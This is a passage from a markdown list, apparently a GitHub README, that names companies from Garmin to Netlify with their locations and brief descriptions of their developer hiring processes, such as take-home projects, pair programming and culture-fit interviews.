| London, UK | Coffee with an Engineer; take-home kata; code review + on-site pair programming exercise. ## G - I - [Garmin](https://careers.garmin.com) | Tucson, AZ | Non-technical phone screen, technical phone screen (questions about projects on your resume), in-person interview: programming an arduino, given 3 hours and a laptop with internet access - [Garner](https://www.garnercorp.com) | Toronto, Canada | step 1: online chat with hiring manager, step 2: at home assignment solving real-life problem, step 3: on-site pair programming with engineers, step 4: offer - [Gasket Games](https://www.gasketgames.com/work-with-us) | Vancouver, Canada | Non-technical phone screen, technical phone screen (open-ended questions), in-person interview / culture fit interview - [GatherContent](https://gathercontent.com/about-us) | Remote | Culture-first interviews, pair programming and remote, informal technical discussions - [Gemini](https://gemini.com/careers) | New York, NY | Phone chat. Take-home project, discussion on-site. Questions on prior experiences and culture fit - [GenUI](https://www.genui.com) | Seattle, WA | A short phone screen with questions regarding general knowledge related to the open position, then a half day pair programming interview. - [Geosite](https://www.geosite.io) | Remote | Phone chat -> Take home project resembling the team focus -> Discussion about takehome & culture fit. - [Ghost Inspector](https://ghostinspector.com/jobs) | Remote | Video interview, short (under 2 hour) take-home project, and team video interview - [Ginetta](http://jobs.ginetta.net) | Zurich, Switzerland; Braga, Portugal | Culture-first interviews, take home assignment that resembles a real-world problem we often solve, then discussion about the assignment in-person with pair-programming improvement sessions with our developers. - [Ginger](https://www.ginger.com/careers) | Remote; San Francisco, CA | Realistic coding exercise, take-home project, virtual onsite (system design, experience, and culture) - [GitHub](https://github.com/about/careers) | Remote; San Francisco, CA; Boulder, CO| Take-home exercise, code review and technical discussions. - [GitLab](https://about.gitlab.com/jobs/apply/) | Remote | A series of video calls, and a coding exercise involving working on a Merge Request that is like a real work task - [GitPrime](https://www.gitprime.com) | Denver, CO; Remote | small short term real-world project, paid project on production code - [Glassdoor](https://glassdoor.com) | Remote; San Francisco, CA; Chicago, IL; Uniontown, OH | A series of video calls, some coding exercises involving real world problems (Styling a page with CSS, Using JavaScript to fetch data from an API and display on a page. - [Glints](https://glints.com/sg/inside/careers/) | Singapore, Singapore; Jakarta, Indonesia | Culture fit interview, take home assignment that resembles a real-world problem, walkthrough about the assignment - [GM Financial](https://gmfinancial.com/en-us/company/careers.html) | Irving, TX; Remote | Roles under [Marketing Technology team](https://globalcareers-gmfinancial.icims.com/jobs/search?ss=1&searchKeyword=Software+Development+Engineer&searchCategory=8741) are 100% remote and only have HR Screening + 2 rounds: 1st round: Technical conversation with an architect and a senior engineer regarding candidate's experience and how that matches up to the role. Final round: cultural/behavioral interview with hiring manager. - [Goalbook](https://goalbookapp.com/careers/) | Remote | Virtual interviews with recruiter, sr engineer, and hiring manager. Short real-world take-home project w/ follow-up conversation. Final interviews w/ CEO/Founder and Product team lead. - [GoCardless](https://gocardless.com/about/jobs) | London, UK | Project to work at home, general technical questions, pair programming with engineers - [GoJek](https://www.gojek.io) | Bangalore, India; Jakarta, Indonesia; Singapore, SG; Bangkok, Thailand | Take-home exercise, Pair programming with senior engineer, Techinal problem solving and discussion, Cultural Fit - [Gower Street Analytics](http://gower.st) | Remote; London, UK | Initial telephone chat, then either a) work with us, fully paid, for a day on real code with the team; or b) pair-programming on a code kata with the team members for four pomodoros. Your choice. - [Graffino](https://www.graffino.com) | Sibiu, Romania | Take-home project, discussion on-site - [Grafton Studio](https://graftonstudio.com) | Boston, MA | Take-home project, discussion on-site - [Gram Games](http://gram.gs) | London, UK / Istanbul, Turkey | Initial interview -> Take home -> Take home discussion call -> On site code review and technical discussions - [Gramercy Tech](http://www.gramercytech.com) | New York, NY | Pair programming & discussion on-site - [grandcentrix](https://www.grandcentrix.net/jobs) | Cologne, Germany | Take-home project, discussion on-site - [Grape](https://www.chatgrape.com/jobs/) | Vienna, Austria / Remote | Github or code samples -> Pair programming -> Skype/phone interview - [Graph Digital](https://graph.digital) | London, UK | Initial screening call with Engineering Manager, take-home challenge or bring your own project, discussion about solution/project and past experience with two engineers, culture fit interview. - [Graphicacy](http://www.graphicacy.com) | Washington, DC | Phone interview; in-person or virtual interview depending on location and availability; two brief technical assignments focused on flexibility, creativity, and general competency - [Graphistry](https://www.graphistry.com) | San Francisco, CA; Remote | Discuss product/market, engineering, and culture, review past code/project, and for junior developers, choice of take home or code review. - [Great Minds, PBC](https://greatminds.recruitee.com) | Washington, DC | Zoom interview, technical interview discussing past real world experiences as well as knowledge of tools that will be used for position - [Gridscale](https://gridscale.io) | Cologne, Germany / Remote | Intro video call for open Q&A, followed by intro with hiring manager, team fit with the whole team plus a small real-world problem to solve, followed by final round with hiring manager and/or c-level/founder. - [Grok Interactive](https://www.grok-interactive.com) | San Antonio, TX | Take-home project with code review and a follow-up in-person interview. - [Gruntwork](http://www.gruntwork.io) | Remote | Paid, take-home project with pair coding - [GTM Sportswear](https://gtmsportswear.com/careers) | Manhattan, KS / Remote | Remote pairing session, then a take-home test. - [Hacktiv8](https://hacktiv8.com) | Jakarta, Indonesia | Phone call for quick project & personal introduction followed by Video call interview with project owner for discussion about the project and general question on how the project should be solved. - [Happy Team](https://happyteam.io) | Warsaw, Poland; Remote | General technical questions, takehome paid exercise with feedback/discussion during implementation - [Happypie](http://www.happypie.com) | Uppsala, Sweden | Takehome exercise with code review after, in-person interview - [Harvard Library Innovation Lab](https://lil.law.harvard.edu/collaborate/) | Cambridge, MA | Take home project that mirrors work we might do on a [Sketch](https://lil.law.harvard.edu/sketches/) and follow up discussion after. - [Hash](https://www.hash.com.br/index.html) | Sao Paulo, Brazil | Take-home project and/or discussion (on-site or remote) - [Hashnode](https://hashnode.com/careers) | Remote | Phone/video call interview for quick personal introduction -> a take-home coding exercise based on real world example -> take-home task discussion -> culture fit session. - [Hashrocket](https://hashrocket.com) | Chicago, IL/Jacksonville Beach, FL | Remote pairing session, paid week pair programming with everyone on the team - [Headspring](https://headspring.com/about/careers) | Austin, TX; Houston, TX; Monterrey, Mexico | Take-home situational questionnaire and code exercise, with in-person follow up to discuss and pair for changes - [Healthify](https://healthify.us) | Remote & New York City, NY | Take-home project, discussion via Zoom, pair programming with us on our app for a day. - [HeavenHR](https://heavenhr.com) | Berlin, Germany | Take home project based on the candidate's experience and future responsibilities. Then discussion about the solution - [HE:labs](https://helabs.com) | Rio de Janeiro, Brazil & Remote | Take-home project and discussion via Skype. - [HelloFresh](https://www.hellofresh.com/jobs) | Berlin, Germany | Take-home project, discussion via Skype or on-site - [Heptio](https://www.heptio.com/jobs) | Seattle, WA; Remote | Take-home project, discussion on-site - [Hero Digital](https://herodigital.com) | San Francisco, CA; Remote | Take-home project with code review, multiple (non-technical) interviews with different areas of the company about past projects and experience - [Heroku](https://heroku.com/careers) | Remote | Timeboxed independent project on Github, discussion/debrief of project via Hangouts, productionization discussion via Hangouts, "meet the team" meeting - [Hill Holliday](http://www.hhcc.com/careers) | Boston, MA | Take-home project on GitHub, in-person interview / culture fit interview - [Hinge Health](http://www.hingehealth.com/careers) | Portland, OR; San Francisco, CA; Seattle, WA; Austin, TX; Denver, CO; Montreal, Québec & Remote | Resume deep dive, take-home exercise on GitHub, (virtual) in-person including review of the take-home exercise (1hr), product collaboration, meet the team, and AMA with leadership - [Hireology](http://www.hireology.com/careers) | Chicago, IL; Remote | Walk through personal/work projects and discuss experience - [Hiventive](https://www.hiventive.com) | Pessac, France | Phone interview, home coding challenge, on-site interview with general programming questions, discussion of proposed solutions and personal experience. - [Holaluz - Platform Team](https://www.holaluz.com/en/work-with-us/) | Barcelona, Spain | Intro call with HHRR, Small tech test with Terraform and some technical and non-technical questions, Interview with manager, Interview with the Platform Team, Small chat interview with the CEO. - [HolidayPirates](https://holidaypirates.group/en/jobs) | Berlin, Germany | Take-home project, discussion via Skype or on-site - [HoloBuilder](https://www.holobuilder.com) | Aachen, Germany | Take-home project, discussion via Skype or on-site - [Hologram](https://www.hologram.io/careers) | Chicago, IL; Remote | Intro call, take-home project taken from production work, pair programming exercise - [Home Chef](https://www.homechef.com/careers) | Chicago, IL; Remote | Get-to-know-you meeting with the team, followed by a half-day collaborative coding session - [HomeLight](https://www.homelight.com/engineering) | San Francisco, CA; Scottsdale, AZ; Seattle, WA | Phone screen, take home that is close to production code, onsite with pair programming - [Hotjar](https://www.hotjar.com/careers/) | Remote | Short introduction call -> Technical interview with engineers on real-world problems/system design -> Paid short take-home task -> Team fit interview, EMEA timezones preferred - [Housemarque](https://housemarque.com) | Helsinki, Finland | Interview, take-home project, then interview and code review on-site - [HoxHunt](https://www.hoxhunt.com/careers/) | Helsinki, Finland | Take-home project, pair programming on-site - [Human API](http://humanapi.co/company/careers) | Redwood City, CA | Technical phone interview, then on-site pair programming and design discussion - [Humi Inc](https://humi.applytojob.com/apply) | Toronto, Canada | Interview, take-home project, then interview and code review on-site - [I|O](https://io.co.za/opportunities) | Cape Town, South Africa - [Icalia Labs](http://icalialabs.com) | Monterrey, Mexico | Pair programming, cultural fit session - [iConstituent](http://iconstituent.com/careers/) | Washington, DC | Take-home project and code review in-person - [Ideamotive](https://ideamotive.co) | Warsaw, Poland & Remote | Take-home project, technical interview with developer - [IDEO](https://www.ideo.com/jobs) | San Francisco, CA; New York, NY; Chicago, IL; Cambridge, MA | Take home project that resembles a problem IDEO solves for, then pairing session in person or over video chat. - [ImmobilienScout24](https://boards.greenhouse.io/scout24) | Berlin, Germany | Take-home project, discussion on-site - [Impraise](http://jobs.impraise.com) | Amsterdam, The Netherlands | Take home test, real world pair programming - [Incloud](https://jobs.incloud.de) | Darmstadt, Germany | Technical interview with developers, followed by a full day on site with a practical project - [Indellient](http://www.indellient.com/careers) | Oakville, Canada | Series of interviews both technical and non-technical - [Indiana Farm Bureau Insurance](https://jobs.infarmbureau.com/home-office) | Indianapolis, Indiana | series of interviews with team, followed by an interview with manager - [INEVITABLE](https://inevitableinnovations.com) | Manchester, UK | Take-home project, discussion on-site - [InfluxData](https://www.influxdata.com/careers) | San Francisco, CA & Remote | Technical and non-technical interviews, pair programming, with prospective manager and multiple prospective teammates - [InfoSum](https://www.infosum.com) | Basingstoke, UK | On-site unsupervised exercise & discussion. - [inKind Capital](https://inkindcapital.com) | Boulder, CO | Discussing real-world problems, pair programming, dinner & drinks with the team - [Inmar](https://www.inmar.com/careers) | Winston-Salem, NC; Austin, TX & Remote | Take-home project and conversation-style interviews - [Innoplexus](https://jobs.innoplexus.com) | Pune, India; Frankfurt, Germany | Take-home projects and On-site pair programming assignment. - [Innovia CoLabs](https://www.innoviacolabs.com) | Rochester, NY / Remote | Zoom interview with two to three engineers and you share projects/code you're proud of; only reviewing code you wrote yourself. Most of the interview is about culture fit and who you are as a person. There is a blog on the website that outlines the interview and will contact you prior to tell you exactly what the interview will be like. - [InstantPost](https://internshala.com/internships/internship-at-InstantPost) | Bangaluru, India | Remote assignment followed by Technical and Team round interview - [Integral.](https://www.integral.io) | Detroit, MI | 3-step process (100% remote): tech-screening with an engineer for 30 minutes, remote pair-programming and test driven development exercise for 1 hour, conversation with engineering leadership for 30 minutes. - [Intelipost](https://www.intelipost.com.br) | São Paulo, BR | Take-home project, on-site code review and presentation (skype available if needed), discussion involving real world problems and interviews with different teams - [Interfrog Produktion GmbH](https://interfrog.de/jobs) | Mannheim, Germany | Phone interview with developer and CEO to get to know each other and to understand skills and background. Follow-up interview to discuss technical realization of sample work which is handed over after the first interview. - [Interset](https://jobs.microfocus.com) | Ottawa, Canada | Discussion of technical background and past experience. Relevant take-home project for junior developers - [InvestSuite](https://www.investsuite.com/jobs) | Remote; Leuven, Belgium | Take home project -> discuss with 2 developers on-site or remote -> job offer - [IONOS SE](https://jobs.ionos.de/career/about-us) | Karlsruhe, Germany; Berlin, Germany | Our process has two stages for developers: An interview with your potential team lead followed by an interview with 1-2 future colleagues. All stages can be in-person in one of our offices or via Google Meet. - [IT Experts](https://itexperts.be) | Eeklo, Belgium | On site interview -> 1 or 1/2 day at the office to solve a real world problem with the team -> job offer. - [itdesign](https://itdesign.de/karriere/) | Tübingen, Germany | Short phone or personal interview. A day at our company to give you and us the opportunity to get to know each other. - [Ithaka](https://www.ithaka.travel) | Mumbai, India | Phone interview followed by a small development task. Finally a phone interview with CEO. - [iTrellis](http://itrellis.com) | Seattle, WA | Phone screen, then a take-home project, then pairing (remote or on-site) with 3 developers on the take-home project. - [iZettle](https://jobs.izettle.com/jobs) | Stockholm, Sweden | Remote pair programming exercise, propose an architecture for an application and discuss about it in an informal format. ## J - L - [Jamasoftware](http://www.jamasoftware.com) | Portland, OR | Initial phone screen with hiring manager. In person pairing on project similar to day-to-day work with a separate cultural interview - [Jamit Labs](https://jamitlabs.com/jobs) | Karlsruhe, Germany | Phone interview or on-site interview & take-home code challenge or on-site programming session - [Jane Technologies (iheartjane.com)](https://iheartjane.com) | Santa Cruz, CA; Remote | Short take-home challenge, followed by practical interviews based on position the applicant is seeking - [Jeli](https://www.jeli.io) | Remote; San Francisco, CA | A series of conversations involving product deep dive, technical discussions, and behavioral topics. Discussions are open ended conversations about how one would approach solving real world problems. Questions may be scenario based involving talking through tradeoffs. - [Jetstack](https://www.jetstack.io/careers) | London, UK | Phone screen; shared terminal session on Linux & Programming; Take home task - [Jiminny](https://www.jiminny.com) | Sofia, Bulgaria | Phone screen. Take-home exercise. Follow-up discussion. - [Jitbit](https://www.jitbit.com) | Remote; London, UK; Tel-Aviv, Israel | Take-home real-world task - [Jobtome](https://weare.jobtome.com/careers) | Stabio, Switzerland | Phone screen introduction with hiring manager. In site (or screen call) with Engineer Manager for a talk on skills and cultural fit. - [Journal Tech](https://journaltech.com/careers) | Los Angeles, CA | Mini take-home project, phone interview, discussion on-site - [Journalism++](http://www.jplusplus.org) | Berlin, Germany | Apply through a [relevant online challenge](http://internship.jplusplus.org) to show your technical skills and your capacity to investigate - [JOURNEE](https://jobs.lever.co/JOURNEE) | Berlin, Germany / Remote | Cultural fit assessment, Interview, Take-home assignment. - [JustWatch](https://www.justwatch.com/us/talent) | Berlin, Germany | Take-Home project, discussion on-site - [K Health](https://www.khealth.ai) | Tel Aviv, Israel | Phone screening to discuss technical background and past experience. Take-home assignment followed by on-site code review and interview. Cultural fit assessment - [Kahoot!](https://www.getkahoot.com/jobs) | London, UK / Oslo, Norway | Phone screening to discuss technical background and past experience. Take-home assignment followed by on-site code review and interview. Cultural fit assessment - [Kata.ai](https://kata.ai) | Malang, Indonesia / Jakarta, Indonesia | Take-home assignment, then invited to discuss the assignment and interview. - [Kayako](https://www.kayako.com) | London, UK / Gurgaon, India | Take-home assignment, series of experience based interviews, cultural fit assessment - [Kentik](https://www.kentik.com/careers) | San Francisco, CA | Phone screening to discuss technical background and past experience. Take-home assignment followed by on-site code review and interview. Cultural fit assessment - [Keymetrics](https://keymetrics.io) | Paris, France | Phone Interview, Take-home project based on our [API](https://github.com/keymetrics/keymetrics-api), IRL meeting with the whole team - [Kiến Guru](https://www.kienguru.vn) | Hồ Chí Minh, Vietnam | Phone screening with technical recruiter --> live coding with an engineer --> panel interview with related engineers (Test Engineers, Frontend Engineers, Backend Engineers, etc) --> final interview with VP of Engineering - [Kindred Group, Native Apps Team](https://careers.kindredplc.com) | Stockholm SE, London UK | On-site/Skype programming task, Interview - [Kinnek](https://www.kinnek.com/jointeam) | New York, NY | Phone screen, on-site pairing session, take-home project - [Kinsta](https://kinsta.com/careers/) | Remote | Culture fit interview, take home assignmentv, discussion on-site, technical interview discussing past real world experiences as well as knowledge of tools that will be used for position - [Kiwi.com](https://code.kiwi.com) | Brno, Czech Republic | Phone Interview, Take-home projects, On-site code review & interview - [Knock.com](https://www.knock.com/careers) | San Francisco, CA / New York, NY / Remote | Phone Interview, Take-home project, On-site technical conversation relating to the tech stack you would be hired to build with - [KNPLabs](https://knplabs.com) | Nantes, France | First step: screening call directly with the CEO, to discuss company vision, assess cultural fit and experience. Second step: call or IRL interview with a developer and a project facilitator , technical discussions with focus on soft skills. The goal of the interview is for the 2 KNPeers to be able to answer: “Do I want to work with this person ?” If both say yes, the person is hired. If even at least one says no, the person is not hired. - [Koala](https://www.koala.io) | Remote | Phone screen. Open-ended take-home coding challenge. Pair Programming exercise. Meet the CEO and the rest of team. - [Kodify](https://kodify.io) | Remote | HR interview, technical interview, take-home test related to role, technical interview about the test - [Koho by Expeditors](https://www.gokoho.com) | Portland, OR | Phone screening. Take home assignment. Conversational technical and cultural interview. - [Kong](https://www.konghq.com/careers) | San Francisco, CA | Phone interview. Pairing and technical interviews. Take home assigment. - [Kongregate](http://www.kongregate.com/jobs) | Portland, OR | Phone screening. Take home project. On-site pairing and conversational technical interviews. - [Kontainer](https://kontainer.com/vacant-positions-in-kontainer-job-and-career) | Copenhagen, Denmark | Phone screening. Practical questions on how past experience matches the job position. On-site technical interviews with lead engineers. - [Korbit](https://www.korbit.co.kr/about/jobs) | Seoul, South Korea | Take home assignment followed by on-site code review and interview - [Kulkul Tech](https://kulkul.tech/careers) | Jakarta, Indonesia | Take home and an in-person system design interview, then soft skills and culture assessment via interviews with the senior leadership team. - [KUNGFU.AI](https://www.kungfu.ai) | Remote; Austin, TX | 30-40 minute recruiter screen, 30 minute hiring manager screen, 1.5 hour final interview (discussion only, no coding or whiteboarding). - [Lab.Coop](http://lab.coop) | Budapest, Hungary | Partnership-fit discussion, code-review and trial days. - [Lab49](https://www.lab49.com/careers/) | New York, NY; Washington, DC; London, UK; Sydney, AU | First interview - Pairing interview using Codility. Final interviews that include a coding challenge. - [Landing.jobs](https://landing.jobs/at/landing-jobs) | Lisbon, Portugal | Interviews (in-person or remote), Take home coding project - [Lanetix](http://engineering.lanetix.com) | San Francisco, CA | [Our Hiring Process](https://engineering.lanetix.com/2015-10-20/hiring-process) - [Lattice](https://lattice.com/careers) | San Francisco, CA; New York, NY; Remote | Technical exercises based on work we do at Lattice, discussion of a new architecture to solve a real world problem - [Launch Academy](https://launchacademy.com/careers) | Boston, Philadelphia | Nontechnical phone screen, pair programming with team member, and potentially a "guest lecture" for our students - [LaunchDarkly](https://launchdarkly.com/careers) | Oakland, CA | Informational phone screen with Eng leadership, take home project, onsite interviews - [League](https://league.com/ca/careers) | Toronto, Canada | Initial interview with talent team, take home coding challenge & technical interview to discuss, take home architecture challenge & interview to discuss, cross-functional interview, executive interview. - [Leapsome](https://leapsome.com) | Berlin, Germany | Phone screen with technical co-founder, take home case study, onsite culture-fit interview - [Learningbank](https://learningbank.dk) | Copenhagen, DK | Take home assignment, followed by on-site code review. - [Legalstart.fr](https://www.legalstart.fr) | Paris, France | Telephone interview followed by take-home challenges. Suitable applicants are asked to do further on-pair interviews on site. - [Leverton](https://www.leverton.ai) | Berlin, Germany | Initial chat with the HR continued with 1-2 rounds chat with the team; followed by a technical test and finally a chat with the CTO/MD. [Jobs page](http://leverton-jobs.personio.de) - [Liberty Mutual](https://www.libertymutualgroup.com/careers) | Seattle, WA; Boston, MA; Indianapolis, IN | Initial interview, discussion on-site, interview with peers - [Librato](https://www.librato.com/jobs) | San Francisco, CA; Boston, MA; Austin, TX; Vancouver, Canada; Krakow, Poland | Take home coding project, conversational technical interviews on-site - [Lightning Jar](http://lightningjar.agency) | San Antonio, Tx | Remote pairing session, Initial interview,discussion on-site - [Lightricks](http://www.lightricks.com) | Jerusalem, Israel | Initial interview, Take home project, discussion on-site - [LinkAja](https://www.linkaja.id) | Jakarta, Indonesia | Quick introductory chat, followed by take home project for 7 days - [LinkResearchTools](http://jobs.linkresearchtools.com/job-offers) | Vienna, Austria | Skype interview, mini take-home exercise, discussion on-site / personal interview - [Linx Systems](https://www.linxsystems.com) | Bloomington, IL / Remote | 5-10 minute take home project; followed by a non-technical interview; finish up with a second take home project or paired with a developer for a 30-60 minute session. - [lise GmbH](https://www.lise.de/karriere/stellenboerse) | Cologne, Germany | Phone interview, followed by getting to know each other in person, a short presentation about any topic you are interested in, pair programming on a real world problem - [Listen Lively](https://www.listenlively.com/about#careers) | Remote | 1 hour pair programming exercise on codesandbox; a second 1 hour pair programming exercise on codesandbox; followed by non-technical interview(s) with team members. - [Listium](https://listium.com/jobs) | Melbourne, Australia | Design and code proof of concept features with the team - [Litmus](https://litmus.com/careers#openings) | Remote | General technical questions, take-home code challenge, discussion, on-site programming session, meet & greet with the team - [LittleThings](https://www.littlethings.com/careers.html) | New York, NY | Take home code challenge, Discussion - [LoanZen](https://loanzen.in/team.html#Career) | Bengaluru, India | Initial phone interview about experience, a solve-at-home project based on the kind of work we do at our company, on-site interview discussing the submitted solution and a general discussion with the whole team - [Lob](https://lob.com/careers) | San Francisco, CA | Initial phone screen followed by an on-site interview. Technical problems discussed during the interview are all simplified versions of problems we've had to solve in production. Our entire interview process and what we're looking for is described in our blog post [How We Interview Engineers](https://lob.com/blog/how-we-interview-engineers). - [Locastic](https://www.locastic.com/posao) | Split, Croatia | Take-home code challenge, tehnical discussion & on-site programming session, meet & greet with the team - [Locaweb](https://www.locaweb.com.br/carreira) | São Paulo, Brazil | Skype interview, take-home project and discussion on-site - [LOGIBALL GmbH](https://www.logiball.de/en/jobs/) | Berlin, Hannover and Herne in Germany | Interviews and discussion - [Logic Soft](https://logicsoft.co.in) | Chennai, India | Phone discussion, F2F pair programming exercise + discussion - [LonRes](https://www.lonres.com/public/working-us) | London, United Kingdom | Quick introduction call with tech (Skype), coding task for ≈1 hour, face-to-face interview (or via Skype) and meeting with team members. - [LookBookHQ](http://www.lookbookhq.com/about/careers) | Toronto, Canada | On-site discussion, pair programming exercise - [Loom](https://www.useloom.com/careers) | San Francisco, CA | Google Hangouts resume dive on past experience, take-home project OR architectural phone screen, on-site interviews (2 technical architecture related to work, 1 or 2 non-technical) - [Lovion GmbH](https://jobs.lovion.de) | Dortmund, Germany | On-site or remote interview for technical and culture fit - [Luna](https://oiluna.com) | Sao Paulo, Brazil | Take-home project and/or discussion (on-site or remote) - [Lydia](https://lydia-app.com/en/company/jobs) | Paris, FR | Mini take-home project, phone interview, discussion on-site - [Lyft's Mobile Team](http://www.lyft.com/jobs) | San Francisco, CA; Seattle, WA; New York, NY; Minsk, Belarus; Mexico City, Mexico | On-site project, discussion of candidate's completed project afterwards - [Lykon](https://lykon.de) | Berlin, Germany | Phone interview followed by home assignment that reflect our daily work and then on-site interview - [Lyoness Austria GmbH](http://www.lyoness-corporate.com/de-AT/Karriere/Jobangebote) | Graz, Austria | Take-Home project, discussion on-site ## M - O - [Made Tech](https://www.madetech.com/careers) | London, UK | [Our hiring process](https://github.com/madetech/handbook/tree/master/guides/hiring#20-minute-phone-conversation) - [Magical](https://magical.team/work) | Tel Aviv, Israel; Remote | Culture fit interview + take home assignment, followed by a technical interview, and a CTO interview. - [Magnetis](https://magnetis.workable.com) | São Paulo, Brazil & Remote | Phone interview + take home assignment, followed by pair programming and informal meeting with the team. - [Major League Soccer](https://careers-mlssoccer.icims.com/jobs/search?ss=1&searchCategory=20285) | New York, NY | Phone interview + short take home project, which is daily work focused. In person interview could involve discussing past projects or pair programming. - [MakeMusic](http://www.makemusic.com/careers/) | Boulder, CO; Denver, CO | Phone screen, take home project, remote and on-site interviews for technical and cultural fit - [MakeTime](https://maketime.workable.com) | Lexington, KY | Practical exercise and/or a pairing session on site - [Mango Solutions](http://www.mango-solutions.com/wp/about-mango/team) | London (UK), Chippenham (UK) | Initial phone interview, followed by on-site interview with take-home assignment - [Mapbox](https://www.mapbox.com/jobs) | San Francisco, CA; Washington, DC; Ayacucho, Peru; Bangalore, India; Berlin, Germany; Remote | Conversational interviews, paid onsite project with team. - [Mattermost](https://mattermost.com/careers/) | Remote | Follow-up questions over email, a couple of video calls, audition (paid real-world “try out” project), video call to discuss audtion, and then a video call with the CTO - [Mavenlink](https://www.mavenlink.com/careers) | San Francisco, CA; Irvine, CA; Salt Lake City, UT | On-site pairing with multiple engineers. Pairing exercises and pairing on company code. - [Maxwell Health](https://www.maxwellhealth.com/careers) | Boston, MA | Take-home exercise or pairing session with team. Then conversational meetings with members of the team. - [Me & Company](https://me-company.de/jobs/) | Düsseldorf, Germany | You join us for one or two paid trial days to work on an assignment and to meet the team. - [MealMe](https://mealme.ai) | San Francisco, California | Initial introductory interview, 1 hour technical interview with CTO (real-world problem), rapid fire questions about thinking and working in a start-up. - [Media Pop](https://mediapop.co) | Singapore, Singapore | Take-home or unsupervised (onsite) real-world assignment - [Meetrics](https://www.meetrics.com) | Berlin, Germany | Initial interview, take-home code challenge and review - [Meltwater](http://underthehood.meltwater.com/jobs) | Manchester, NH | Small take home exercise that will be presented to the team during a QA style interview - [Mention](https://mention.workable.com) | Paris, FR | Take-home small exercise followed up by on site meetings with your future coworkers - [Mercado Livre](https://jobs.mercadolibre.com) | São Paulo, Brazil | Phone interview with HR department, Takehome project and discussion (on-site or remote) with an interview to evaluate the candidate's previous experience and Cultural Fit interview with a manager. - [Mercatus](https://www.mercatus.com/company/careers) | Toronto, Canada | Practical on-site project similar to daily work - [Metro Markets](https://www.metro-markets.de/careers/) | Düsseldorf, Germany | You can get to know us by joining fully remote interviews with us or you can come and visit us onsite - [mfind](https://www.mfind.pl/dolacz-do-nas/) | Warsaw, PL | Phone call about technical experience, Take-home project or technical test(depends on experience), Onsite interview with technical lead. - [miDrive](https://midrive.com/careers) | London, UK | Phone screen, Take-home project / technical test, Onsite interview with senior and peer. - [milch & zucker](https://www.milchundzucker.de) | Gießen, Germany | Interview with direct feedback, applicants providing working sample, code review (product code or personal code of applications) - [Minute Media](http://www.minutemedia.com/careers/) | Tel-Aviv, Israel | Phone screening with engineer. On-site real-world challenge questions with two engineers. Sometimes a take-home assignment or existing code sample submission. - [Miro](https://miro.com/careers/) | Amsterdam, NL; Berlin, DE; London, UK | Screen-share your own IDE and code our assignment, on your terms. We share the problem 24 hours in advance, but ask you to only configure the IDE beforehand, so 100% of your coding happens during the interview. - [Mirumee](https://mirumee.com/jobs) | Wroclaw, Poland; Remote | Pair programming and code review using one of the issues (or Pull Requests) in our open-source Saleor project, general discussion about programming, technology and candidate's experience - [Mixmax](https://mixmax.com/careers) | San Francisco, CA | Takehome assignment purely based on their platform, followed by phone interview - [Mobile Reality](https://themobilereality.com/careers) | Warsaw, Poland | Interview with technical questions and practical task to do in home for 3-5 hours. Candidate has freedom in terms of project environment and setup. After few days feedback arrives in email. - [MobileCashout](https://www.mobilecashout.com) | Barcelona, Spain; Valencia, Spain | Quick introduction video call with a tech (less than 10-15 minutes). On-site open source contribution to a project of candidates choosing, paired with a tech from the team. Interview and a short questionaire about software design and relevant technologies. Interview and presentation of the company with a HR rep. - [Mobilethinking](https://mobilethinking.ch) | Geneva, Switzerland | 1 hour discussion about technical background and past experiences, preferably in-person - [Mode](https://about.modeanalytics.com/careers) | San Francisco, CA | Phone interview followed by onsite pair-architecting and discussion - [MokaHR](http://mokahr.com) | Beijing, China | Take home project/challenge, then on-site programming session taken from problems we encounter at work - [Moneytree Front-end Web Team](https://moneytree.jp) | Tokyo, Japan | Pair programming exercise and social gathering with team - [Monite](https://monite.com) | Berlin, Germany | Screening interview with HR (salary expectations, career plans), take-home architectural design project (no code) and technical interview to discuss your skill set + general questions - [Monzo](https://monzo.com) | London, UK & Remote | Phone interview with another engineer. Take-home assignment. Call to debrief on take-home assignment. Half-day interview (on-site or Hangouts) with three conversational sessions: (1) building on take-home test & real-world system design (verbal and collaborative); (2) digging into knowledge & understanding in 1-2 other relevant technical areas; (3) general background, teams and ways of working. - [Moteefe](https://www.moteefe.com/jobs) | London, UK & Remote | Interview with CTO. Take home project/challenge. - [Mozilla](https://careers.mozilla.org/listings) | San Francisco, US; Portland, US; Toronta, CA; Vancouver, CA; Berlin, DE; Remote | Deep-dive discussions on technical and mentorship problems solved in the past. No live coding. Total of 3 rounds. - [Mutual Mobile](https://mutualmobile.com/careers) | Austin, TX; Hyderabad, India | Technical discussion, code test based on actual work you'll be doing, panel style discussions for cross-functional and culture-fit. - [Mutual of Omaha](http://www.mutualofomaha.com/careers) | Omaha, NE, USA | Panel Style Interviews analyzing problem solving, ability to adapt well to change, and interpersonal communication skills. - [Mutually Human Software](https://www.mutuallyhuman.com) | MI, OH, WA | Collaborative problem analysis and design exercise, pairing exercise - [Mux](https://mux.com/jobs/) | San Francisco, CA; London, UK & Remote | Hands-on software engineer and system-design interviews that focus on collaboratively building practical applications at scale. - [My Taxi](https://mytaxi.com) | Hamburg, Germany | Video chat with HR, Take Home Assignment, Review of Assignment with a technical member, Technical interview and onboarding. - [MyHeritage](https://www.myheritage.com) | Or Yehuda, Israel; Kyiv, Ukraine | Video call with HR, problem solving test on codility.com, video call with tech lead and solving problem from real project, system design onsite interview. - [MyTutor](https://apply.workable.com/mytutor/) | London, UK | Take home test, followed by pair programming, system design discussion, and cross functional interview on site - [Naologic](https://naologic.com/careers/jobs) | San Francisco, US | Takehome programming assignment and personal interviews with part of the founding team. - [Native Instruments](https://www.native-instruments.com) | Berlin, Germany | Takehome programming assignment and personal interviews with part of the hiring team. - [Nearsoft Inc](https://nearsoft.com/join-us/) | Hermosillo, Mexico; Chihuahua, Mexico; Mexico City, Mexico | Takehome [logic test](https://nearsoft.com/blog/the-logic-behind-nearsofts-logic-test/), english interview to check communication skills, short technical interview about experience, long technical discussion about languages/tools/practices you will use on daily basis, pair programming session. - [Nedap](http://lifeatnedap.com/vacatures) | Groenlo, Netherlands / Remote | A simple conversation, human to human and a small on-site project - [Neoteric](https://neoteric.eu/career/) | Gdańsk, Warsaw Poland; Remote | Face2Face conversation, take home exercise & pair programming session - [NerdWallet](https://www.nerdwallet.com/careers) | San Francisco, CA; Remote | Code review phone screen, on-site project to build a functioning app with interviewee's platform of choice - [Netguru](https://www.netguru.co/career) | Warsaw, Poland; Remote | Takehome exercise & pair programming session - [Netlandish](https://www.netlandish.com) | Los Angeles, CA; Remote | Takehome exercise, chat interview, video interview - [Netlify](https://www.netlify.com/careers) | San Francisco, CA / Remote | Takehome project and online/onsite discussion - 